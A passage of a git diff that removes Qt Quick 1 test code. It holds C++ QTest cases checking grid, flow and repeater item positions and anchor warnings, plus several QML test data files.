QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 54.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 78.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 0.0); - QCOMPARE(four->y(), 54.0); - QCOMPARE(five->x(), 54.0); - QCOMPARE(five->y(), 54.0); - - QDeclarativeItem *grid = canvas->rootObject()->findChild("grid"); - QCOMPARE(grid->width(), 128.0); - QCOMPARE(grid->height(), 104.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid_animated() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", false); - - //Note that all animate in - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QCOMPARE(one->x(), -100.0); - QCOMPARE(one->y(), -100.0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QCOMPARE(two->x(), -100.0); - QCOMPARE(two->y(), -100.0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QCOMPARE(three->x(), -100.0); - QCOMPARE(three->y(), -100.0); - - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QCOMPARE(four->x(), -100.0); - QCOMPARE(four->y(), -100.0); - - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - QCOMPARE(five->x(), -100.0); - QCOMPARE(five->y(), -100.0); - - QDeclarativeItem *grid = canvas->rootObject()->findChild("grid"); - QVERIFY(grid); - QCOMPARE(grid->width(), 150.0); - QCOMPARE(grid->height(), 100.0); - - //QTRY_COMPARE used instead of waiting for the expected time of animation completion - //Note that this means the duration of the animation is NOT tested - - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(one->x(), 0.0); - QTRY_COMPARE(two->opacity(), 0.0); - QTRY_COMPARE(two->y(), -100.0); - QTRY_COMPARE(two->x(), -100.0); - QTRY_COMPARE(three->y(), 0.0); - QTRY_COMPARE(three->x(), 50.0); - QTRY_COMPARE(four->y(), 0.0); - QTRY_COMPARE(four->x(), 100.0); - QTRY_COMPARE(five->y(), 50.0); - QTRY_COMPARE(five->x(), 0.0); - - //Add 'two' - two->setOpacity(1.0); - QCOMPARE(two->opacity(), 1.0); - QCOMPARE(grid->width(), 150.0); - QCOMPARE(grid->height(), 100.0); - QTest::qWait(0);//Let the animation start - QCOMPARE(two->x(), -100.0); - QCOMPARE(two->y(), -100.0); - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(three->x(), 50.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 100.0); - QCOMPARE(four->y(), 0.0); - QCOMPARE(five->x(), 0.0); - QCOMPARE(five->y(), 50.0); - //Let the animation complete - QTRY_COMPARE(two->x(), 50.0); - QTRY_COMPARE(two->y(), 0.0); - QTRY_COMPARE(one->x(), 0.0); - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(three->x(), 100.0); - QTRY_COMPARE(three->y(), 0.0); - QTRY_COMPARE(four->x(), 0.0); - QTRY_COMPARE(four->y(), 50.0); - QTRY_COMPARE(five->x(), 50.0); - QTRY_COMPARE(five->y(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid_animated_rightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/grid-animated.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - //Note that all animate in - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QCOMPARE(one->x(), -100.0); - QCOMPARE(one->y(), -100.0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QCOMPARE(two->x(), -100.0); - QCOMPARE(two->y(), -100.0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QCOMPARE(three->x(), -100.0); - QCOMPARE(three->y(), -100.0); - - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QCOMPARE(four->x(), -100.0); - QCOMPARE(four->y(), -100.0); - - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - QCOMPARE(five->x(), -100.0); - QCOMPARE(five->y(), -100.0); - - QDeclarativeItem *grid = canvas->rootObject()->findChild("grid"); - QVERIFY(grid); - QCOMPARE(grid->width(), 150.0); - QCOMPARE(grid->height(), 100.0); - - //QTRY_COMPARE used instead of waiting for the expected time of animation completion - //Note that this means the duration of the animation is NOT tested - - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(one->x(), 100.0); - QTRY_COMPARE(two->opacity(), 0.0); - QTRY_COMPARE(two->y(), -100.0); - QTRY_COMPARE(two->x(), -100.0); - QTRY_COMPARE(three->y(), 0.0); - QTRY_COMPARE(three->x(), 50.0); - QTRY_COMPARE(four->y(), 0.0); - QTRY_COMPARE(four->x(), 0.0); - QTRY_COMPARE(five->y(), 50.0); - QTRY_COMPARE(five->x(), 100.0); - - //Add 'two' - two->setOpacity(1.0); - QCOMPARE(two->opacity(), 1.0); - QCOMPARE(grid->width(), 150.0); - QCOMPARE(grid->height(), 100.0); - QTest::qWait(0);//Let the animation start - QCOMPARE(two->x(), -100.0); - QCOMPARE(two->y(), -100.0); - QCOMPARE(one->x(), 100.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(three->x(), 50.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 0.0); - QCOMPARE(four->y(), 0.0); - QCOMPARE(five->x(), 100.0); - QCOMPARE(five->y(), 50.0); - //Let the animation complete - QTRY_COMPARE(two->x(), 50.0); - QTRY_COMPARE(two->y(), 0.0); - QTRY_COMPARE(one->x(), 100.0); - QTRY_COMPARE(one->y(), 0.0); - QTRY_COMPARE(three->x(), 0.0); - QTRY_COMPARE(three->y(), 0.0); - QTRY_COMPARE(four->x(), 100.0); - QTRY_COMPARE(four->y(), 50.0); - QTRY_COMPARE(five->x(), 50.0); - QTRY_COMPARE(five->y(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_grid_zero_columns() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/gridzerocolumns.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 70.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 120.0); - QCOMPARE(four->y(), 0.0); - QCOMPARE(five->x(), 0.0); - QCOMPARE(five->y(), 50.0); - - QDeclarativeItem *grid = canvas->rootObject()->findChild("grid"); - QCOMPARE(grid->width(), 170.0); - QCOMPARE(grid->height(), 60.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_propertychanges() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/propertychangestest.qml"); - - QDeclarative1Grid *grid = qobject_cast(canvas->rootObject()); - QVERIFY(grid != 0); - QDeclarative1Transition *rowTransition = canvas->rootObject()->findChild("rowTransition"); - QDeclarative1Transition *columnTransition = canvas->rootObject()->findChild("columnTransition"); - - QSignalSpy addSpy(grid, SIGNAL(addChanged())); - QSignalSpy moveSpy(grid, SIGNAL(moveChanged())); - QSignalSpy columnsSpy(grid, SIGNAL(columnsChanged())); - QSignalSpy rowsSpy(grid, SIGNAL(rowsChanged())); - - QVERIFY(grid); - QVERIFY(rowTransition); - QVERIFY(columnTransition); - QCOMPARE(grid->add(), columnTransition); - QCOMPARE(grid->move(), columnTransition); - QCOMPARE(grid->columns(), 4); - QCOMPARE(grid->rows(), -1); - - grid->setAdd(rowTransition); - grid->setMove(rowTransition); - QCOMPARE(grid->add(), rowTransition); - QCOMPARE(grid->move(), rowTransition); - QCOMPARE(addSpy.count(),1); - QCOMPARE(moveSpy.count(),1); - - grid->setAdd(rowTransition); - grid->setMove(rowTransition); - QCOMPARE(addSpy.count(),1); - QCOMPARE(moveSpy.count(),1); - - grid->setAdd(0); - grid->setMove(0); - QCOMPARE(addSpy.count(),2); - QCOMPARE(moveSpy.count(),2); - - grid->setColumns(-1); - grid->setRows(3); - QCOMPARE(grid->columns(), -1); - QCOMPARE(grid->rows(), 3); - QCOMPARE(columnsSpy.count(),1); - QCOMPARE(rowsSpy.count(),1); - - grid->setColumns(-1); - grid->setRows(3); - QCOMPARE(columnsSpy.count(),1); - QCOMPARE(rowsSpy.count(),1); - - grid->setColumns(2); - grid->setRows(2); - QCOMPARE(columnsSpy.count(),2); - QCOMPARE(rowsSpy.count(),2); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_repeater() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/repeatertest.qml"); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 100.0); - QCOMPARE(three->y(), 0.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_flow() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", false); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 50.0); - QCOMPARE(four->x(), 0.0); - QCOMPARE(four->y(), 70.0); - QCOMPARE(five->x(), 50.0); - QCOMPARE(five->y(), 70.0); - - QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); - QVERIFY(flow); - QCOMPARE(flow->width(), 90.0); - QCOMPARE(flow->height(), 120.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_flow_rightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 40.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 20.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 40.0); - QCOMPARE(three->y(), 50.0); - QCOMPARE(four->x(), 40.0); - QCOMPARE(four->y(), 70.0); - QCOMPARE(five->x(), 30.0); - QCOMPARE(five->y(), 70.0); - - QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); - QVERIFY(flow); - QCOMPARE(flow->width(), 90.0); - QCOMPARE(flow->height(), 120.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_flow_topToBottom() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest-toptobottom.qml"); - - canvas->rootObject()->setProperty("testRightToLeft", false); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 50.0); - QCOMPARE(three->y(), 50.0); - QCOMPARE(four->x(), 100.0); - QCOMPARE(four->y(), 00.0); - QCOMPARE(five->x(), 100.0); - QCOMPARE(five->y(), 50.0); - - QDeclarativeItem *flow = canvas->rootObject()->findChild("flow"); - QVERIFY(flow); - QCOMPARE(flow->height(), 90.0); - QCOMPARE(flow->width(), 150.0); - - canvas->rootObject()->setProperty("testRightToLeft", true); - - QVERIFY(flow); - QCOMPARE(flow->height(), 90.0); - QCOMPARE(flow->width(), 150.0); - - QCOMPARE(one->x(), 100.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 80.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 50.0); - QCOMPARE(three->y(), 50.0); - QCOMPARE(four->x(), 0.0); - QCOMPARE(four->y(), 0.0); - QCOMPARE(five->x(), 40.0); - QCOMPARE(five->y(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_flow_resize() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); - - QDeclarativeItem *root = qobject_cast(canvas->rootObject()); - QVERIFY(root); - root->setWidth(125); - root->setProperty("testRightToLeft", false); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 50.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 70.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 0.0); - QCOMPARE(four->y(), 50.0); - QCOMPARE(five->x(), 50.0); - QCOMPARE(five->y(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_flow_resize_rightToLeft() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/flowtest.qml"); - - QDeclarativeItem *root = qobject_cast(canvas->rootObject()); - QVERIFY(root); - root->setWidth(125); - root->setProperty("testRightToLeft", true); - - QDeclarative1Rectangle *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - QDeclarative1Rectangle *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - QDeclarative1Rectangle *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - QDeclarative1Rectangle *four = canvas->rootObject()->findChild("four"); - QVERIFY(four != 0); - QDeclarative1Rectangle *five = canvas->rootObject()->findChild("five"); - QVERIFY(five != 0); - - QCOMPARE(one->x(), 75.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 55.0); - QCOMPARE(two->y(), 0.0); - QCOMPARE(three->x(), 5.0); - QCOMPARE(three->y(), 0.0); - QCOMPARE(four->x(), 75.0); - QCOMPARE(four->y(), 50.0); - QCOMPARE(five->x(), 65.0); - QCOMPARE(five->y(), 50.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_flow_implicit_resize() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/flow-testimplicitsize.qml"); - QVERIFY(canvas->rootObject() != 0); - - QDeclarative1Flow *flow = canvas->rootObject()->findChild("flow"); - QVERIFY(flow != 0); - - QCOMPARE(flow->width(), 100.0); - QCOMPARE(flow->height(), 120.0); - - canvas->rootObject()->setProperty("flowLayout", 0); - QCOMPARE(flow->flow(), QDeclarative1Flow::LeftToRight); - QCOMPARE(flow->width(), 220.0); - QCOMPARE(flow->height(), 50.0); - - canvas->rootObject()->setProperty("flowLayout", 1); - QCOMPARE(flow->flow(), QDeclarative1Flow::TopToBottom); - QCOMPARE(flow->width(), 100.0); - QCOMPARE(flow->height(), 120.0); - - canvas->rootObject()->setProperty("flowLayout", 2); - QCOMPARE(flow->layoutDirection(), Qt::RightToLeft); - QCOMPARE(flow->width(), 220.0); - QCOMPARE(flow->height(), 50.0); - - delete canvas; -} - -QString warningMessage; - -void interceptWarnings(QtMsgType type, const char *msg) -{ - Q_UNUSED( type ); - warningMessage = msg; -} - -void tst_QDeclarativePositioners::test_conflictinganchors() -{ - QtMsgHandler oldMsgHandler = qInstallMsgHandler(interceptWarnings); - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - - component.setData("import QtQuick 1.0\nColumn { Item {} }", QUrl::fromLocalFile("")); - QDeclarativeItem *item = qobject_cast(component.create()); - QVERIFY(item); - QVERIFY(warningMessage.isEmpty()); - delete item; - - component.setData("import QtQuick 1.0\nRow { Item {} }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QVERIFY(warningMessage.isEmpty()); - delete item; - - component.setData("import QtQuick 1.0\nGrid { Item {} }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QVERIFY(warningMessage.isEmpty()); - delete item; - - component.setData("import QtQuick 1.0\nFlow { Item {} }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QVERIFY(warningMessage.isEmpty()); - delete item; - - component.setData("import QtQuick 1.0\nColumn { Item { anchors.top: parent.top } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Column: Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column")); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nColumn { Item { anchors.centerIn: parent } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Column: Cannot specify top, bottom, verticalCenter, fill or centerIn anchors for items inside Column")); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nColumn { Item { anchors.left: parent.left } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QVERIFY(warningMessage.isEmpty()); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nRow { Item { anchors.left: parent.left } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Row: Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row")); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nRow { Item { anchors.fill: parent } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Row: Cannot specify left, right, horizontalCenter, fill or centerIn anchors for items inside Row")); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nRow { Item { anchors.top: parent.top } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QVERIFY(warningMessage.isEmpty()); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nGrid { Item { anchors.horizontalCenter: parent.horizontalCenter } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Grid: Cannot specify anchors for items inside Grid")); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nGrid { Item { anchors.centerIn: parent } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Grid: Cannot specify anchors for items inside Grid")); - warningMessage.clear(); - delete item; - - component.setData("import QtQuick 1.0\nFlow { Item { anchors.verticalCenter: parent.verticalCenter } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow")); - delete item; - - component.setData("import QtQuick 1.0\nFlow { Item { anchors.fill: parent } }", QUrl::fromLocalFile("")); - item = qobject_cast(component.create()); - QVERIFY(item); - QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow")); - qInstallMsgHandler(oldMsgHandler); - delete item; -} - -void tst_QDeclarativePositioners::test_vertical_qgraphicswidget() -{ - QDeclarativeView *canvas = createView(SRCDIR "/data/verticalqgraphicswidget.qml"); - - QGraphicsWidget *one = canvas->rootObject()->findChild("one"); - QVERIFY(one != 0); - - QGraphicsWidget *two = canvas->rootObject()->findChild("two"); - QVERIFY(two != 0); - - QGraphicsWidget *three = canvas->rootObject()->findChild("three"); - QVERIFY(three != 0); - - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(two->x(), 0.0); - QCOMPARE(two->y(), 50.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 60.0); - - QDeclarativeItem *column = canvas->rootObject()->findChild("column"); - QVERIFY(column); - QCOMPARE(column->height(), 80.0); - QCOMPARE(column->width(), 50.0); - - two->resize(QSizeF(two->size().width(), 20.0)); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 70.0); - - two->setOpacity(0.0); - QCOMPARE(one->x(), 0.0); - QCOMPARE(one->y(), 0.0); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 50.0); - - one->setVisible(false); - QCOMPARE(three->x(), 0.0); - QCOMPARE(three->y(), 0.0); - - delete canvas; -} - -void tst_QDeclarativePositioners::test_mirroring() -{ - QList qmlFiles; - qmlFiles << "horizontal.qml" << "gridtest.qml" << "flowtest.qml"; - QList objectNames; - objectNames << "one" << "two" << "three" << "four" << "five"; - - foreach(const QString qmlFile, qmlFiles) { - QDeclarativeView *canvasA = createView(QString(SRCDIR) + "/data/" + qmlFile); - QDeclarativeItem *rootA = qobject_cast(canvasA->rootObject()); - - QDeclarativeView *canvasB = createView(QString(SRCDIR) + "/data/" + qmlFile); - QDeclarativeItem *rootB = qobject_cast(canvasB->rootObject()); - - rootA->setProperty("testRightToLeft", true); // layoutDirection: Qt.RightToLeft - - // LTR != RTL - foreach(const QString objectName, objectNames) { - // horizontal.qml only has three items - if (qmlFile == QString("horizontal.qml") && objectName == QString("four")) - break; - QDeclarativeItem *itemA = rootA->findChild(objectName); - QDeclarativeItem *itemB = rootB->findChild(objectName); - QVERIFY(itemA->x() != itemB->x()); - } - - QDeclarativeItemPrivate* rootPrivateB = QDeclarativeItemPrivate::get(rootB); - - rootPrivateB->effectiveLayoutMirror = true; // LayoutMirroring.enabled: true - rootPrivateB->isMirrorImplicit = false; - rootPrivateB->inheritMirrorFromItem = true; // LayoutMirroring.childrenInherit: true - rootPrivateB->resolveLayoutMirror(); - - // RTL == mirror - foreach(const QString objectName, objectNames) { - // horizontal.qml only has three items - if (qmlFile == QString("horizontal.qml") && objectName == QString("four")) - break; - QDeclarativeItem *itemA = rootA->findChild(objectName); - QDeclarativeItem *itemB = rootB->findChild(objectName); - QCOMPARE(itemA->x(), itemB->x()); - } - - rootA->setProperty("testRightToLeft", false); // layoutDirection: Qt.LeftToRight - rootB->setProperty("testRightToLeft", true); // layoutDirection: Qt.RightToLeft - - // LTR == RTL + mirror - foreach(const QString objectName, objectNames) { - // horizontal.qml only has three items - if (qmlFile == QString("horizontal.qml") && objectName == QString("four")) - break; - QDeclarativeItem *itemA = rootA->findChild(objectName); - QDeclarativeItem *itemB = rootB->findChild(objectName); - QCOMPARE(itemA->x(), itemB->x()); - } - delete canvasA; - delete canvasB; - } -} - -void tst_QDeclarativePositioners::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; " + code.toUtf8(), QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; " + code.toUtf8(), QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_QDeclarativePositioners::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("Flow.layoutDirection") << "Flow { layoutDirection: Qt.LeftToRight }" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Flow.layoutDirection\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("Row.layoutDirection") << "Row { layoutDirection: Qt.LeftToRight }" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Row.layoutDirection\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("Grid.layoutDirection") << "Grid { layoutDirection: Qt.LeftToRight }" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Grid.layoutDirection\" is not available in QtQuick 1.0.\n"; -} - -QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename) -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - - canvas->setSource(QUrl::fromLocalFile(filename)); - - return canvas; -} - - -QTEST_MAIN(tst_QDeclarativePositioners) - -#include "tst_qdeclarativepositioners.moc" diff --git a/tests/auto/qtquick1/qdeclarativerepeater/data/intmodel.qml b/tests/auto/qtquick1/qdeclarativerepeater/data/intmodel.qml deleted file mode 100644 index 85e1608bbf..0000000000 --- a/tests/auto/qtquick1/qdeclarativerepeater/data/intmodel.qml +++ /dev/null @@ -1,29 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - id: container - objectName: "container" - width: 240 - height: 320 - color: "white" - - function checkProperties() { - testObject.error = false; - if (repeater.delegate != comp) { - console.log("delegate property incorrect"); - testObject.error = true; - } - } - - Component { - id: comp - Item{} - } - - Repeater { - id: repeater - objectName: "repeater" - model: testData - delegate: comp - } -} diff --git a/tests/auto/qtquick1/qdeclarativerepeater/data/itemlist.qml b/tests/auto/qtquick1/qdeclarativerepeater/data/itemlist.qml deleted file mode 100644 index 590a9cd194..0000000000 --- a/tests/auto/qtquick1/qdeclarativerepeater/data/itemlist.qml +++ /dev/null @@ -1,68 +0,0 @@ -// This example demonstrates placing items in a view using -// a VisualItemModel - -import QtQuick 1.0 - -Rectangle { - id: root - color: "lightgray" - width: 240 - height: 320 - property variant itemModel: itemModel1 - - function checkProperties() { - testObject.error = false; - if (testObject.useModel && view.model != root.itemModel) { - console.log("model property incorrect"); - testObject.error = true; - } - } - - function switchModel() { - root.itemModel = itemModel2 - } - - VisualItemModel { - id: itemModel1 - objectName: "itemModel1" - Rectangle { - objectName: "item1" - height: 50; width: 100; color: "#FFFEF0" - Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item2" - height: 50; width: 100; color: "#F0FFF7" - Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item3" - height: 50; width: 100; color: "#F4F0FF" - Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - } - - VisualItemModel { - id: itemModel2 - objectName: "itemModel2" - Rectangle { - objectName: "item4" - height: 50; width: 100; color: "#FFFEF0" - Text { objectName: "text4"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - Rectangle { - objectName: "item5" - height: 50; width: 100; color: "#F0FFF7" - Text { objectName: "text5"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent } - } - } - - Column { - objectName: "container" - Repeater { - id: view - objectName: "repeater" - model: testObject.useModel ? root.itemModel : 0 - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/qtquick1/qdeclarativerepeater/data/modelChanged.qml deleted file mode 100644 index 0b57d50b6f..0000000000 --- a/tests/auto/qtquick1/qdeclarativerepeater/data/modelChanged.qml +++ /dev/null @@ -1,26 +0,0 @@ -import QtQuick 1.1 - -Column { - Repeater { - id: repeater - objectName: "repeater" - - property int itemsCount - property variant itemsFound: [] - - delegate: Rectangle { - color: "red" - width: (index+1)*50 - height: 50 - } - - onModelChanged: { - repeater.itemsCount = repeater.count - var items = [] - for (var i=0; i -#include -#include -#include -#include -#include -#include -#include - -inline QUrl TEST_FILE(const QString &filename) -{ - return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename); -} - -class 